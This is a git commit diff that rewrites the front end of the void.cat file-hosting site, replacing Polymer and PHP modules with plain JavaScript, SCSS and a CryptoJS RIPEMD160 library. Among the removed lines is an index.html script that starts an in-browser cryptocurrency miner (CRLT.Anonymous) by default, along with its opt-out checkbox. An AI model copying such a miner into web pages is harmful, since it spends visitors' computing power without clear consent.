rewrite init

This commit is contained in:
Kieran 2018-10-13 01:48:29 +08:00
parent 510bf92054
commit 00a2a62c89
35 changed files with 606 additions and 2241 deletions

7
.gitignore vendored
View File

@ -1,9 +1,4 @@
out/
*.xml
src/php/config.php
google*.html
bower_components/
.vs
.vs/
bin/
obj/
*.csproj.user

View File

@ -1,22 +0,0 @@
{
"name": "void.cat",
"description": "void.cat",
"main": "index.html",
"authors": [
"v0l"
],
"license": "MIT",
"homepage": "https://github.com/v0l/void.cat",
"private": true,
"ignore": [
"**/.*",
"node_modules",
"bower_components",
"test",
"tests"
],
"dependencies": {
"polymer": "polymer/polymer#^2.0.0",
"webcomponentsjs": "webcomponents/webcomponentsjs#^1.0.17"
}
}

2
build.bat Normal file
View File

@ -0,0 +1,2 @@
@echo off
sass src/style.scss dist/style.css && google-closure-compiler src/script.js src/ripemd160.js --js_output_file dist/script.min.js --language_out ECMASCRIPT_NEXT

View File

@ -1,49 +1,32 @@
<!DOCTYPE html>
<!doctype html>
<html>
<head>
<title>void.cat</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link href="src/css/style.css" rel="stylesheet">
<script src="src/js/util.js"></script>
<!-- Matomo -->
<script type="text/javascript">
var _paq = _paq || [];
/* tracker methods like "setCustomDimension" should be called before "trackPageView" */
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//matomo.trash.lol/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
<script src="bower_components/webcomponentsjs/webcomponents-lite.js"></script>
<link rel="import" href="bower_components/polymer/polymer.html">
<link rel="import" href="src/modules/main.html">
</head>
<body>
<div class="page">
<div class="header">
void.cat
</div>
<div class="content">
<void-main></void-main>
<head>
<title>void.cat</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="dist/style.css"/>
<template id="tmpl-upload">
<div class="upload">
<div class="file-info"></div>
<div class="status"></div>
<div class="upload-progress">
<span></span>
<div></div>
</div>
</div>
</body>
<script src="cl/lib/crypta.js"></script>
<script>
var miner_enabled = (localStorage.getItem("miner") || "true") == "true";
if(miner_enabled) {
window.miner = new CRLT.Anonymous('780c65e12f7eaebadd433b1eb488f45a5f71347a77df', { autoThreads: true, throttle: 0.1 });
window.miner.start();
}
</script>
</template>
</head>
<body>
<div class="page">
<div class="float-left">
<div id="dropzone" class="left-module">Click me!</div>
<div id="stats" class="left-module">asdf</div>
</div>
<div id="uploads" class="float-left"></div>
</div>
<script type="text/javascript" src="src/js/script.js" async></script>
<script type="text/javascript" src="src/js/ripemd160.js" async></script>
</body>
</html>

View File

@ -1,22 +0,0 @@
{
"entrypoint": "index.html",
"fragments": [
"src/modules/main.html",
"src/modules/dropzone.html",
"src/modules/upload.html",
"src/modules/view.html"
],
"sources": [
"src/php/*.php",
"src/js/*.js",
"src/css/*.css"
],
"builds": [
{
"bundle": true,
"js": { "compile": true, "minify": true },
"css": { "minify": true },
"html": { "minify": true }
}
]
}

View File

@ -1,41 +0,0 @@
html, body {
background-color: #dbedf5;
font-family: 'Roboto', sans-serif;
font-size: 12px;
padding: 0;
margin: 0;
}
.page {
width:1024px;
margin-left:auto;
margin-right:auto;
margin-top:20px;
background-color: #a5d4ea;
border-radius: 5px;
border: 1px solid #aaa;
}
.content {
padding:20px;
}
.header{
text-align: center;
color: #555555;
font-size: 50px;
padding: 10px;
border-bottom: 1px solid #aaa;
background-color: #E4E4E4;
border-radius: 5px 5px 0px 0px;
}
@media(max-width: 1024px){
.page {
width: auto;
margin: 10px 0 0 0;
}
.content {
padding: 5px;
}
}

88
src/css/style.scss Normal file
View File

@ -0,0 +1,88 @@
$page-width: 1024px;
$page-height: 512px;
$page-padding: 10px;
$page-margin-top: 20px;
$dropzone-border-width: 2px;
$dropzone-height: ($page-height - ($dropzone-border-width * 2)) / 2;
$dropzone-width: ($page-width / 2) - ($dropzone-border-width * 2);
$upload-progress-padding: 2px;
$upload-progress-height: 20px;
$upload-padding: 10px;
$upload-border: 2px solid rgb(168, 168, 168);
html, body {
margin: 0;
padding: 0;
font-family: Arial;
font-size: 12px;
background-color: rgb(14, 14, 14);
}
.page {
width: $page-width;
min-height: $page-height;
margin-left: auto;
margin-right: auto;
margin-top: $page-margin-top;
overflow: hidden;
padding: $page-padding;
border-radius: 10px;
background-color: rgb(233, 252, 255);
box-shadow: 0px 0px 15px 5px #000;
user-select: none;
}
.float-left {
float: left;
}
.left-module {
height: $dropzone-height;
width: $dropzone-width;
}
#dropzone {
border: $dropzone-border-width dashed #333;
line-height: $dropzone-height;
text-align: center;
font-size: 50px;
}
#uploads {
float: left;
width: ($page-width / 2);
}
.upload {
overflow: hidden;
border: $upload-border;
margin: $upload-padding;
margin-top: 0;
}
.upload .upload-progress {
border: 0.5px solid;
overflow: hidden;
text-align: center;
margin: 10px;
}
.upload .status {
padding: 5px 5px 5px 10px;
}
.upload .file-info {
text-align: center;
padding: 5px;
border-bottom: $upload-border;
background-color: #aaa;
}
.upload .upload-progress div {
margin-top: -$upload-progress-height;
height: $upload-progress-height;
line-height: $upload-progress-height;
font-size: $upload-progress-height * 0.8;
background-color: rgb(10, 161, 10);
}

View File

@ -1,13 +0,0 @@
CREATE TABLE `files` (
`hash160` varchar(40) NOT NULL,
`hash256` varchar(64) NOT NULL,
`filename` varchar(255) NOT NULL,
`mime` varchar(64) NOT NULL,
`size` bigint(20) NOT NULL,
`path` varchar(512) NOT NULL,
`views` bigint(20) DEFAULT 0 NULL,
`isAdminFile` bit(1) DEFAULT 0 NULL,
`uploaded` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
`lastview` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`hash160`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8

29
src/js/ripemd160.js Normal file
View File

@ -0,0 +1,29 @@
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
/*
(c) 2012 by C?dric Mesnil. All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
var CryptoJS=CryptoJS||function(j,k){var e={},l=e.lib={},z=function(){},t=l.Base={extend:function(a){z.prototype=this;var c=new z;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(this[c]=a[c]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},
u=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=k?c:4*a.length},toString:function(a){return(a||D).stringify(this)},concat:function(a){var c=this.words,h=a.words,d=this.sigBytes;a=a.sigBytes;this.clamp();if(d%4)for(var b=0;b<a;b++)c[d+b>>>2]|=(h[b>>>2]>>>24-8*(b%4)&255)<<24-8*((d+b)%4);else if(65535<h.length)for(b=0;b<a;b+=4)c[d+b>>>2]=h[b>>>2];else c.push.apply(c,h);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<
32-8*(c%4);a.length=j.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],b=0;b<a;b+=4)c.push(4294967296*j.random()|0);return new u.init(c,a)}}),w=e.enc={},D=w.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var b=[],d=0;d<a;d++){var g=c[d>>>2]>>>24-8*(d%4)&255;b.push((g>>>4).toString(16));b.push((g&15).toString(16))}return b.join("")},parse:function(a){for(var c=a.length,b=[],d=0;d<c;d+=2)b[d>>>3]|=parseInt(a.substr(d,
2),16)<<24-4*(d%8);return new u.init(b,c/2)}},A=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var b=[],d=0;d<a;d++)b.push(String.fromCharCode(c[d>>>2]>>>24-8*(d%4)&255));return b.join("")},parse:function(a){for(var b=a.length,h=[],d=0;d<b;d++)h[d>>>2]|=(a.charCodeAt(d)&255)<<24-8*(d%4);return new u.init(h,b)}},g=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(A.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return A.parse(unescape(encodeURIComponent(a)))}},
v=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new u.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=g.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,h=b.words,d=b.sigBytes,g=this.blockSize,v=d/(4*g),v=a?j.ceil(v):j.max((v|0)-this._minBufferSize,0);a=v*g;d=j.min(4*a,d);if(a){for(var e=0;e<a;e+=g)this._doProcessBlock(h,e);e=h.splice(0,a);b.sigBytes-=d}return new u.init(e,d)},clone:function(){var a=t.clone.call(this);
a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=v.extend({cfg:t.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){v.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,g){return(new a.init(g)).finalize(b)}},_createHmacHelper:function(a){return function(c,g){return(new b.HMAC.init(a,
g)).finalize(c)}}});var b=e.algo={};return e}(Math);
(function(){var j=CryptoJS,k=j.lib,e=k.WordArray,l=k.Hasher,k=j.algo,z=e.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),t=e.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),u=e.create([11,14,15,12,
5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),w=e.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),D=e.create([0,1518500249,1859775393,2400959708,2840853838]),A=e.create([1352829926,1548603684,1836072691,
2053994217,0]),k=k.RIPEMD160=l.extend({_doReset:function(){this._hash=e.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(g,e){for(var b=0;16>b;b++){var a=e+b,c=g[a];g[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360}var a=this._hash.words,c=D.words,h=A.words,d=z.words,j=t.words,k=u.words,l=w.words,B,m,n,p,x,C,q,r,s,y;C=B=a[0];q=m=a[1];r=n=a[2];s=p=a[3];y=x=a[4];for(var f,b=0;80>b;b+=1)f=B+g[e+d[b]]|0,f=16>b?f+((m^n^p)+c[0]):32>b?f+((m&n|~m&p)+c[1]):48>b?
f+(((m|~n)^p)+c[2]):64>b?f+((m&p|n&~p)+c[3]):f+((m^(n|~p))+c[4]),f|=0,f=f<<k[b]|f>>>32-k[b],f=f+x|0,B=x,x=p,p=n<<10|n>>>22,n=m,m=f,f=C+g[e+j[b]]|0,f=16>b?f+((q^(r|~s))+h[0]):32>b?f+((q&s|r&~s)+h[1]):48>b?f+(((q|~r)^s)+h[2]):64>b?f+((q&r|~q&s)+h[3]):f+((q^r^s)+h[4]),f|=0,f=f<<l[b]|f>>>32-l[b],f=f+y|0,C=y,y=s,s=r<<10|r>>>22,r=q,q=f;f=a[1]+n+s|0;a[1]=a[2]+p+y|0;a[2]=a[3]+x+C|0;a[3]=a[4]+B+q|0;a[4]=a[0]+m+r|0;a[0]=f},_doFinalize:function(){var g=this._data,e=g.words,b=8*this._nDataBytes,a=8*g.sigBytes;
e[a>>>5]|=128<<24-a%32;e[(a+64>>>9<<4)+14]=(b<<8|b>>>24)&16711935|(b<<24|b>>>8)&4278255360;g.sigBytes=4*(e.length+1);this._process();g=this._hash;e=g.words;for(b=0;5>b;b++)a=e[b],e[b]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;return g},clone:function(){var e=l.clone.call(this);e._hash=this._hash.clone();return e}});j.RIPEMD160=l._createHelper(k);j.HmacRIPEMD160=l._createHmacHelper(k)})(Math);

326
src/js/script.js Normal file
View File

@ -0,0 +1,326 @@
/**
* @constant {number} - Size of 1 kiB
*/
const kiB = Math.pow(1024, 1);
/**
* @constant {number} - Size of 1 MiB
*/
const MiB = Math.pow(1024, 2);
/**
* @constant {number} - Size of 1 GiB
*/
const GiB = Math.pow(1024, 3);
/**
* @constant {number} - Size of 1 TiB
*/
const TiB = Math.pow(1024, 4);
/**
* @constant {number} - Size of 1 PiB
*/
const PiB = Math.pow(1024, 5);
/**
* @constant {number} - Size of 1 EiB
*/
const EiB = Math.pow(1024, 6);
/**
* @constant {number} - Size of 1 ZiB
*/
const ZiB = Math.pow(1024, 7);
/**
* @constant {number} - Size of 1 YiB
*/
const YiB = Math.pow(1024, 8);
/**
* @constant {function} - Helper function for document.querySelector
* @param {string} selector - The selector to use in the query
* @returns {HTMLElement} The first selected element
*/
const $ = (selector) => document.querySelector(selector);
const Log = {
I: (msg) => console.log(`[App_v ${App.Version}][I]: ${msg}`),
W: (msg) => console.warn(`[App_v ${App.Version}][W]: ${msg}`),
E: (msg) => console.error(`[App_v ${App.Version}][E]: ${msg}`)
};
/**
* @constant {Object}
*/
const App = {
get Version() { return "1.0" },
Elements: {
get Dropzone() { return $('#dropzone') },
get Uploads() { return $('#uploads') }
},
Templates: {
get Upload() { return $("template[id='tmpl-upload']") }
},
/**
* Uploads the files as selected by the input form
* @param {Element} ctx
* @returns {Promise}
*/
UploadFiles: async function (ctx) {
let files = ctx.files;
let proc_files = [];
for (let x = 0; x < files.length; x++) {
let fu = new FileUpload(files[x]);
proc_files[proc_files.length] = fu.ProcessUpload();
}
await Promise.all(proc_files);
},
Utils: {
/**
* Formats an ArrayBuffer to hex
* @param {ArrayBuffer} buffer - Input data to convert to hex
* @returns {string} The encoded data as a hex string
*/
ArrayToHex: (buffer) => Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join(''),
/**
* Formats bytes into binary notation
* @param {number} b - The value in bytes
* @param {number} [f=2] - The number of decimal places to use
* @returns {string} Bytes formatted in binary notation
*/
FormatBytes: (b, f) => {
f = typeof f === 'number' ? 2 : f;
if (b >= YiB)
return (b / YiB).toFixed(f) + ' YiB';
if (b >= ZiB)
return (b / ZiB).toFixed(f) + ' ZiB';
if (b >= EiB)
return (b / EiB).toFixed(f) + ' EiB';
if (b >= PiB)
return (b / PiB).toFixed(f) + ' PiB';
if (b >= TiB)
return (b / TiB).toFixed(f) + ' TiB';
if (b >= GiB)
return (b / GiB).toFixed(f) + ' GiB';
if (b >= MiB)
return (b / MiB).toFixed(f) + ' MiB';
if (b >= kiB)
return (b / kiB).toFixed(f) + ' KiB';
return b.toFixed(f) + ' B'
}
},
/**
* Sets up the page
*/
Init: function () {
new DropzoneManager(App.Elements.Dropzone)
}
};
/**
* Make a HTTP request with promise
* @param {string} method - HTTP method for this request
* @param {string} url - Request URL
* @param {[object]} data - Request payload (method must be post)
* @returns {Promise<XMLHttpRequest>} The completed request
*/
const XHR = function(method, url, data){
return new Promise(function (resolve, reject) {
let x = new XMLHttpRequest();
x.onreadystatechange = function (ev) {
if (ev.target.readyState === 4) {
resolve(ev.target);
}
};
x.onerror = function (ev) {
reject(ev);
};
x.open(method, url, true);
if (method === "POST" && typeof data === "object" && data !== null) {
x.setRequestHeader('Content-Type', 'application/json');
x.send(JSON.stringify(data));
} else {
x.send();
}
})
};
/**
* @constructor Creates an instance of the DropzoneManager
* @param {HTMLElement} dz - Dropzone element
*/
const DropzoneManager = function (dz) {
this.dz = dz;
this.OpenFileSelect = function(ev){
let i = document.createElement('input');
i.setAttribute('type', 'file');
i.setAttribute('multiple', '');
i.addEventListener('change', function (evt) {
let fl = evt.target.files;
for (let z = 0; z < fl.length; z++) {
new FileUpload(fl[z]).ProcessUpload();
}
}.bind(this));
i.click();
};
this.dz.addEventListener('click', this.OpenFileSelect.bind(this), false);
};
/**
* File upload handler class
* @class
* @param {File} file - The file handle to upload
*/
const FileUpload = function (file) {
this.hasCrypto = typeof window.crypto.subtle === "object";
this.file = file;
this.domNode = null;
/**
* Loads the file and SHA256 hashes it
* @return {Promise<ArrayBuffer>}
*/
this.HashFile = async () => {
return new Promise(function (resolve, reject) {
var fr = new FileReader();
fr.onloadstart = function (ev) {
this.HandleProgress('state-load-start');
}.bind(this);
fr.onloadend = function (ev) {
this.HandleProgress('state-load-end');
}.bind(this);
fr.onload = function (ev) {
this.HandleProgress('state-hash-start');
crypto.subtle.digest("SHA-256", ev.target.result).then(function (hash) {
this.HandleProgress('state-hash-end');
this.HandleProgress('progress-hash-file', 1); //no progress from crypto.subtle.digest so we cant show any progress
resolve(hash);
}.bind(this));
}.bind(this);
fr.onprogress = function (ev) {
this.HandleProgress('progress-load-file', ev.loaded / parseFloat(ev.total));
}.bind(this);
fr.onerror = function (ev) {
this.HandleError({
type: 'FileReaderError',
error: ev.target.error
})
}.bind(this);
fr.readAsArrayBuffer(this.file);
}.bind(this));
};
/**
* Sets the width of the progress bar for this upload
* @param {number} value - The value of the progress
*/
this.SetProgressBar = function (value) {
this.domNode.progress.textContent = `${(100 * value).toFixed(1)}%`;
this.domNode.progressBar.style.width = `${(100 * value)}%`;
};
/**
* Sets the status label for this upload
* @param {string} value - The status label
*/
this.SetStatus = function (value){
this.domNode.status.textContent = `Status: ${value}`;
};
/**
* Handles progress messages from the upload process and updates the UI
* @param {string} type - The progress event type
* @param {number} progress - The percentage of this progress type
*/
this.HandleProgress = function (type, progress) {
switch (type) {
case 'state-load-start': {
this.SetStatus('Loading file..');
this.SetProgressBar(0);
break;
}
case 'state-load-end': {
break;
}
case 'state-hash-start': {
this.SetStatus('Hashing..');
this.SetProgressBar(0);
break;
}
case 'state-hash-end': {
break;
}
case 'state-upload-start': {
this.SetStatus('Uploading..');
this.SetProgressBar(0);
break;
}
case 'state-upload-end': {
break;
}
case 'progress-load-file': {
this.SetProgressBar(progress < 0.01 ? 0.01 : progress);
break;
}
case 'progress-hash-file': {
this.SetProgressBar(progress < 0.01 ? 0.01 : progress);
break;
}
}
};
/**
* Handles upload errors to display on the UI
*/
this.HandleError = function (err) {
Log.E(err.error);
switch (err.type) {
case 'FileReaderError': {
this.SetProgressBar('1px');
break;
}
}
};
/**
* Creates a template for the upload to show progress
*/
this.CreateNode = function () {
let nelm = document.importNode(App.Templates.Upload.content, true);
nelm.fileInfo = nelm.querySelector('.file-info');
nelm.progress = nelm.querySelector('.upload-progress span');
nelm.progressBar = nelm.querySelector('.upload-progress div');
nelm.status = nelm.querySelector('.status');
nelm.fileInfo.textContent = this.file.name;
this.domNode = nelm;
$('#uploads').appendChild(nelm);
};
/**
* Processes the file upload
* @return {Promise}
*/
this.ProcessUpload = async function () {
Log.I(`Starting upload for ${this.file.name}`);
this.CreateNode();
let h256 = App.Utils.ArrayToHex(await this.HashFile());
let h160 = CryptoJS.RIPEMD160(h256);
Log.I(`${this.file.name} hash is: ${h256} (${h160})`);
};
};
App.Init();

View File

@ -1,88 +0,0 @@
const API = {
xhr: function (method, url, data, cb) {
let x = new XMLHttpRequest();
x.onreadystatechange = function () {
if (x.readyState === 4 && cb !== undefined && cb !== null && typeof cb === 'function') {
cb(this);
}
}
x.open(method, url, true);
if (data !== null) {
x.setRequestHeader('Content-Type', 'application/json');
x.send(JSON.stringify(data));
} else {
x.send();
}
},
sendAPICommand: function (data, cb) {
API.xhr('POST', '/src/php/api.php', data, function (xhr) {
if(xhr.status == 200) {
cb(JSON.parse(xhr.response));
}
});
},
getServerConfig: function (cb) {
API.sendAPICommand({ cmd: 'config' }, function (data) {
cb(data);
});
},
getFileInfo: function(hash, cb) {
API.sendAPICommand({ cmd: 'file', hash: hash }, function (data) {
cb(data);
});
}
};
const Util = {
formatBytes: function (b, f) {
f = f === undefined ? 2 : f;
if(b >= 1099511627776) {
return (b / 1099511627776.0).toFixed(f) + ' TiB';
}else if (b >= 1073741824) {
return (b / 1073741824.0).toFixed(f) + ' GiB';
} else if (b >= 1048576) {
return (b / 1048576.0).toFixed(f) + ' MiB';
} else if (b >= 1024) {
return (b / 1024.0).toFixed(f) + ' KiB';
}
return b.toFixed(f | 2) + ' B'
}
};
const doCaptcha = function(view){
API.sendAPICommand({ cmd: 'captcha_config' }, function(data){
this.view.captchaKey = data.cap_key;
this.view.captchaDL = data.cap_dl;
window['capLoad'] = function(){
window["capCb"] = function(rsp){
API.sendAPICommand({ cmd: 'captcha_verify', hash: this.view.fileInfo.hash160, token: rsp }, function(data){
if(window.location.search.indexOf('?dl') === 0){
window.location = window.location.href.replace('?dl#', '');
}else{
window.location.reload();
}
}.bind({ view: this.view }));
}.bind({ view: this.view });
grecaptcha.render(document.querySelector('#g-recaptcha'),
{
sitekey: this.view.captchaKey,
callback: 'capCb'
}
);
}.bind({ view: this.view });
let cb = document.createElement('div');
cb.id = 'g-recaptcha';
let par = document.querySelector('.content');
par.insertBefore(cb, par.firstChild);
let ct = document.createElement('script');
ct.src = 'https://www.google.com/recaptcha/api.js?onload=capLoad&render=explicit';
document.head.appendChild(ct);
}.bind({ view: view }));
};

View File

@ -1,164 +0,0 @@
<link rel="import" href="/bower_components/polymer/polymer-element.html">
<dom-module id="void-drop-zone">
<template>
<style>
.drop-zone {
height: 400px;
border: 2px dashed #aaa;
line-height: 400px;
text-align: center;
font-size: 50px;
}
.drop-zone:hover {
cursor: pointer;
}
.note {
font-size: 12px;
text-align: center;
}
.uploads {
margin-top: 10px;
}
.stats {
background-color: #0071a7;
color: #eee;
margin-left: auto;
margin-right: auto;
line-height: 25px;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
border-left: 1px solid #777;
border-bottom: 1px solid #777;
border-right: 1px solid #777;
text-align: center;
overflow: hidden;
}
.stats div {
width: 25%;
float: left;
}
.stats b {
overflow: hidden;
}
@media(max-width: 1024px) {
.drop-zone {
font-size: 30px;
height: 200px;
line-height: 200px;
}
}
@media(max-width: 520px) {
.stats b {
display: block;
}
}
</style>
<div class="drop-zone">
Max size [[formatBytes(maxSize, 0)]]
</div>
<div class="stats">
<div><b>Files:</b> [[stats.files]]</div>
<div><b>Total Size:</b> [[formatBytes(stats.size, 1)]]</div>
<div><b>Avg Size:</b> [[formatBytes(stats.avgSize, 1)]]</div>
<div><b>Transfer:</b> [[formatBytes(stats.transfer, 1)]]</div>
</div>
<template is="dom-if" if="[[expire]]">
<br/><i class="note">**Expires after [[expire]] days since last view</i>
</template>
<div class="uploads">
</div>
</template>
</dom-module>
<script>
class VoidDropZone extends Polymer.Element {
static get is() { return "void-drop-zone"; }
constructor() {
super();
this.formatBytes = Util.formatBytes;
}
ready() {
super.ready();
this.uploads = this.root.querySelector('.uploads');
API.getServerConfig(function(cfg){
this.self.maxSize = cfg.maxsize;
this.self.expire = cfg.expire;
this.self.stats = cfg.stats;
}.bind({ self: this }));
this.dz = this.root.querySelector('.drop-zone');
this.dz.addEventListener('dragover', this.handleDragOver.bind({ self: this }), false);
this.dz.addEventListener('drop', this.handleFileDropped.bind({ self: this }), false);
this.dz.addEventListener('click', this.handleFileSelect.bind({ self: this }), false);
document.addEventListener('paste', this.handleFilePaste.bind({ self: this }), false);
}
addFileUpload(file) {
var nf = new VoidUpload(this, file);
this.uploads.appendChild(nf);
if (this.dz.style.height.length === 0) {
this.dz.style.height = this.dz.style.lineHeight = this.dz.offsetHeight / 2 + 'px';
}
}
handleFileSelect(evt) {
var i = document.createElement('input');
i.setAttribute('type', 'file');
i.addEventListener('change', function (evt) {
var fl = evt.target.files;
for (let i = 0; i < fl.length; i++) {
let file = fl[i];
this.self.addFileUpload(file);
}
}.bind({ self: this.self }));
i.click();
}
handleDragOver(evt) {
evt.stopPropagation();
evt.preventDefault();
evt.dataTransfer.dropEffect = 'copy';
}
handleFileDropped(evt) {
evt.stopPropagation();
evt.preventDefault();
let files = evt.dataTransfer.files;
for (let i = 0; i < files.length; i++) {
this.self.addFileUpload(files[i]);
}
}
handleFilePaste(evt) {
for (var i = 0; i < evt.clipboardData.items.length; i++) {
var file = evt.clipboardData.items[i];
if (file.kind === 'file') {
this.self.addFileUpload(file.getAsFile());
} else if (file.kind === 'string' && file.type === 'text/plain') {
var file_t = file.getAsString(function (url) {
if (url.indexOf('http://') === 0 || url.indexOf('https://') === 0) {
this.self.addFileUpload(file);
}
}.bind({ self: this.self }));
}
}
}
}
customElements.define(VoidDropZone.is, VoidDropZone)
</script>

View File

@ -1,68 +0,0 @@
<link rel="import" href="/bower_components/polymer/polymer-element.html">
<link rel="import" href="/src/modules/dropzone.html">
<link rel="import" href="/src/modules/upload.html">
<link rel="import" href="/src/modules/view.html">
<dom-module id="void-main">
<template>
<style>
a { color: inherit; text-decoration: none; }
a:hover { text-decoration: underline; }
.footer {
text-align:center;
margin-top: 10px;
text-transform: uppercase;
}
img {
margin-top: 10px;
}
@media(max-width: 520px) {
img {
width: 100%;
}
}
</style>
<template is="dom-if" if="{{view}}">
<void-view hash="{{hash}}"></void-view>
</template>
<template is="dom-if" if="{{!view}}">
<void-drop-zone></void-drop-zone>
</template>
<div class="footer">
<div class="links">
<a href="https://discord.gg/8BkxTGs">Discord</a> |
<a href="/src/php/tip-me.php">Crypto Tips</a> |
<a href="/src/php/lightning-tip.php">⚡Lightning Tip⚡</a> |
<a href="dat://0d7fe5f1e26e8541745f585f38f7075f135abcba78409b8b93d13c4322771297/">Dat</a> |
<input type="checkbox" checked="{{miner}}" onclick="localStorage.setItem('miner', this.checked ? 'true' : 'false')"/> Miner enabled
</div>
<img src="/graph"/>
</div>
</template>
</dom-module>
<script>
class VoidMain extends Polymer.Element {
static get is() { return "void-main"; }
constructor() {
super();
}
ready() {
super.ready();
this.hash = window.location.hash;
this.miner = (localStorage.getItem("miner") || "true") == "true";
if(this.hash.length === 41){
this.view = true;
}else{
this.view = false;
}
}
}
customElements.define(VoidMain.is, VoidMain)
</script>

View File

@ -1,249 +0,0 @@
<link rel="import" href="/bower_components/polymer/polymer-element.html">
<dom-module id="void-upload">
<template>
<style>
.upload {
margin-bottom: 2px;
}
.upload-header {
overflow: hidden;
height: 40px;
line-height: 20px;
background-color: #94aeec;
color: #000;
}
.upload-header-content {
padding: 10px;
float: left;
}
.upload-header-content-filename {
float: left;
height: 20px;
width: 120px;
text-overflow: ellipsis;
overflow:hidden;
}
.upload-content {
background-color: #638aa0;
}
.upload-header-tag {
float: right;
background-color: #6d6d6d;
padding: 10px;
width: 80px;
text-align: center;
font-size: 12px;
color: #eee;
}
.abort-tag {
background-color: #ff4d4d;
width: auto;
min-width: 25px;
}
.cap {
text-transform: uppercase;
font-weight: bold;
}
.cap:hover {
cursor: pointer;
}
.upload-progress-bar {
background-color: #35b300;
height: 10px;
border-right: 1px solid #3F51B5;
}
@keyframes uploadAnimated {
0% {
background-color: #6c8bff;
}
50% {
background-color: #95acff;
}
100% {
background-color: #6c8bff;
}
}
.material-icons {
font-family: 'Material Icons';
font-weight: normal;
font-style: normal;
font-size: 24px;
letter-spacing: normal;
text-transform: none;
display: block;
float: left;
white-space: nowrap;
word-wrap: normal;
direction: ltr;
